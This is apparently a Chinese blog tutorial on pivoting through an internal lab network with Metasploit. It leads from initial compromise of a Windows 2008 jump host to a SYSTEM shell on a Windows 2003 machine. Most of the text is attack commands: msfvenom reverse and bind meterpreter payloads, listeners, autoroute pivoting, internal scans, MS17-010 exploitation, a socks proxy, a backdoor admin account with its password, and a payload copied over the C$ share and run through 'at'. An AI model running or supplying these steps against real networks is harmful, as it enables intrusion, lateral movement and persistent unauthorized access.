内网渗透信息搜集和渗透实战
本文最后更新于 2024-07-26,文章内容可能已经过时。
内网信息搜集和渗透实战
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
前提:环境搭建
kali:192.168.91.129 (攻击机)
- windows2008 :192.168.91.138;10.10.10.1(外网主机)
- win7 :10.10.10.110(内网)
- win 2003 :10.10.10.2(内网)
Windows外网主机 (2008)
- 添加vmnet19
(1)查看win2008主机的IP :
右键主机 --> 设置 :
(2)win2003配置内网固定IP :
测试外网链接 :
(3)、Windows 7内网主机
-
设置网络
-
配置内网固定IP
-
测试内网
-
测试外网链接内网
- 安装Xampp
省略
测试:win7的xampp开启:
一、主机发现
nmap扫描网段信息:
nmap -sP 192.168.91.0/24
发现主机win2008IP地址为:192.168.91.138
二、主机扫描
扫描到了135,149,445,3389端口开放。主机信息为Windows Server 2008
三、拿下跳板机
(1)kali制作木马
制作木马拿下内网的跳板机windows Server 2008
开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run
制作木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o neiwang5555.exe
上传目标主机执行上线getshell
查看ipconfig可以发现,成功发现拿下的跳板机内网主机ip为10.10.10.1,由此可以得出内网网段为10.10.10.xxx
外网ip地址为192.168.91.138
(2)用arp -a查看缓存记录
一般内网中的主机和这台主机(win2008)通信过后,会在arp缓存表中存储ip信息。
可以大致知道内网中的主机有
10.10.10.1(本跳板机win Server 2008)
10.10.10.2 (win Server 2003)
10.10.10.110 (WIN7)
(3)其他指令也可以探测
Windows中的任何指令都可以尝试。
(4)利用msf进行内网探测
msf中的
scanner/discovery
模块可以进行内网探测
先exit退出到meterpreter框架,bg指令后台运行,sessions查看连接信息。
搜索模块:search scanner/discovery
随便使用一个,这里选第五个
use 5
show options
set rhosts 10.10.10.110 #设置要探测的内网主机ip
set threads 10 #设置线程数为10
run
这里显示没有扫描到有用的信息,换成其他的模块也是差不多的。
原因:直接探测是失败的,因为在探测内网时 ,需要路由的设置 ,我们目前,没设置路由 ,无法探测。
(5)msf进行端口扫描
msf同样内置了端口扫描的模块
search portscan
这里不进行了,因为同样需路由设置才能探测
- rhosts 扫描的目标主机
- ports 扫描的端口
- threads : 线程数
四、meterpreter创建路由
路由是利用跳板创建的一个内网通信的通道 。
run get_local_subnets需要在meterpreter下运行,查看内网的网段
(1)、run get_local_subnets
如此可知,内网网段为 10.10.10.0/24
(2)、通过meterpreter自动创建路由
run post/multi/manage/autoroute
查看:添加路由的帮助命令
run autoroute -h
手动再添加一条路由:(可选)
run autoroute -s 10.10.10.1/24
查看路由是否添加成功:
run autoroute -p
备选:用msf创建路由(可选)
查看路由帮助命令 route -h
添加一条路由:
route add 10.10.10.2/24 1
(这里的1为seesion的ID值)
查看路由信息:
route print
这样内网主机的路由就建立好了,可以使用上文的内网探测功能
bg退回到模块,执行 search scanner/discovery
use 5
show options
set rhost
set rhosts 10.10.10.110
set threads 10
run
如上图,发现一个win7的内网主机IP地址为10.10.10.110
五、使用探测功能:
再使用上文说的探测端口功能:search portscan
use 5
show options
set rhosts 10.10.10.110
set threads 20
set ports 22,80,3306,6379,445,3389,135,139,8080
run
如图可知,目标内网主机win7开启了445,3389,3306,135,139,80这些端口。
六、msf内网端口服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
前提:必须提前设置好路由
例如:
尝试探测mysql服务:
use auxiliary/scanner/mysql/mysql_version
show options
set rhosts 10.10.10.110
set threads 10
run
如图可知,说明探测成功,主机存在mysql服务,Mysql版本信息为MySQL 5.5.5-10.1.38-MariaDB
七、内网漏洞利用
前提:必须设置好路由 ,拿下跳板机,创建路由。
木马上线getshell,创建路由:run post/multi/manage/autoroute
查看创建的路由信息:run autoroute -p
搜索漏洞(MSF)
搜索MS17-010漏洞进行利用;
执行探测漏洞模块:
use 3
show options
set rhosts 10.10.10.110
run
set rhosts 10.10.10.2
run
如图,探测结果可知,win7和win2003这两台内网主机貌似存在ms17-010漏洞。
执行command探测模块:
use 2
show options
set rhosts 10.10.10.110
set threads 10
set command whoami
run
set rhosts 10.10.10.2
run
可以看出win7那台无法利用执行command,但是win2003成功执行。
说明win2003那台内网主机存在ms17-010漏洞
执行漏洞利用模块:
use 0
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 10.10.10.2
这里显示失败,尝试其他模块也是失败。
利用msf创建代理
(1)创建代理
假设在内网主机上创建了用户,需要把内网主机上的3389端口 转发之后,才可以远程连接 。
可不可以不做转发 ,就能远程连接内网主机的远程桌面 ???
可以使用MSF框架给内网主机创建代理 ,这个代理就在(攻击机Kali上) ,创建代理时,需要跳板机的链接以及路由 。
在msf上搜索 proxy
,会搜索出msf中所有关于代理的模块,auxiliary/server/socks_proxy
利用一种协议做代理的传递
socks
use auxiliary/server/socks_proxy
show options
run
查看代理的端口信息:
netstat -antp
(2)工具设置代理
win2008这台主机是能访问到内网主机
如果在Kali向访问内网的服务 ,比如在Kali的浏览器上访问内网的80服务 ,http://10.10.10.110
不能直接访问,需要在访问服务的工具(浏览器)上,设置代理才可以访问 。
火狐浏览器设置代理 --->设置--->NetWork Settings
这里的1080就是之前用msf创建代理开启的端口
访问成功
其他工具上配置代理 :
(1)、本机浏览器 (不是Kali)
(2)、蚁剑连接
AntSword --> 系统设置 --> 代理设置 -->手动配置代理
(3)Kali上设置全局代理
在kali中 设置全局代理 ,修改一个配置文件 :
vi /etc/proxychains4.conf
# 在文档的最后一行 加上 把其他的代理 注释掉
socks5 127.0.0.1 1080
使用全局代理,命令前面需要加上
proxychains
内网操作 :
proxychains curl http://10.10.10.110/dashboard/phpinfo.php
proxychains mysql -uroot -p -h10.10.10.110
proxychains dirb http://10.10.10.110
proxychains rdesktop 10.10.10.110 # 远程连接桌面
例如执行:proxychains mysql -uroot -p -h10.10.10.110
monica-code-tools
monica-code-tools
windows共享目录利用
如果内网内主机开启了共享目录,可以通过上传木马等方式,上传到内网主机后成功上线。
开始-->管理工具-->计算机管理-->共享文件夹-->共享
可以看到win2003(内网主机配置了共享文件夹)
下面就通过拿下的跳板机(winServer2008)测试渗透内网的主机(winServer2003)
**前提:拿下winserver2008的控制权,并已经配置好内网路由(如下,这里已经拿下了跳板机的控制权,并已经通过ms17-010探测command模块在内网的win2003创建出一个管理员权限账户) **
(我这里创建的管理员账号:test001$ 密码为:Mudi@456)
(1)访问winServer2003的共享目录
通过 net use
命令,访问共享目录。
访问内网主机Win2003的共享目录
net use \\10.10.10.2\c$ Mudi@456 /user:test001$
访问内网主机Win2007的共享目录
net use \\10.10.10.1\c$ Mudi@456 /user:test001$
查看连接
net user
访问内网win2003主机的c盘共享文件(c$代表C盘根目录的共享文件夹)
dir \\10.10.10.2\c$
附录:net user常用命令
**net user 查看系统中的用户信息 **
net user user /add 添加用户
**user net localgroup Administrators user /add 添加user用户为管理员组 net localgroup users user /del 从users组中删除user用户 **
**net user user 查看user用户用户信息 **
**net user user /active:no 禁用user用户 **
**net user user /active:yes 激活user用户 **
**net user user 123456 改变user用户密码为123456,不需要知道原密码 net user user "" 改变user用户密码为空 **
**net user user /passwordchg:yes 用户user可以改变密码 **
**net user user /passwordreq:yes 用户user必须拥有密码 **
**net user user /expires:never 用户user密码永不过期 **
net user user /del 删除user用户
(2) 上传一个木马正向连接反弹回kali
kali生成正向连接win2003的木马:
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f exe -o win2003.exe
将生成的木马文件上传到跳板机(win2008)的主机上,在之前getshell的win2008的shell上通过命令将在win2008上的木马复制上传到内网主机(win2003)上
copy c:\tools\win2003.exe \\10.10.10.2\c$
(3)执行木马文件在目标主机上
利用at定时器,定时执行该木马文件
#设置定时器
at \\10.10.10.2 16:16 "c\win2003.exe"
#这里16:16是执行的时间,我现在的时间是的16:10
#查看定时器
at \\10.10.10.2
(4)kali启动正向连接,连接到winServer2003上
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
show options
set rhost 10.10.10.2
set lport 5555
run
meterpreter > getuid
Server username: NT AUTHORIRY\SYSTEM
monica-code-tools
monica-code-tools
- 感谢你赐予我前进的力量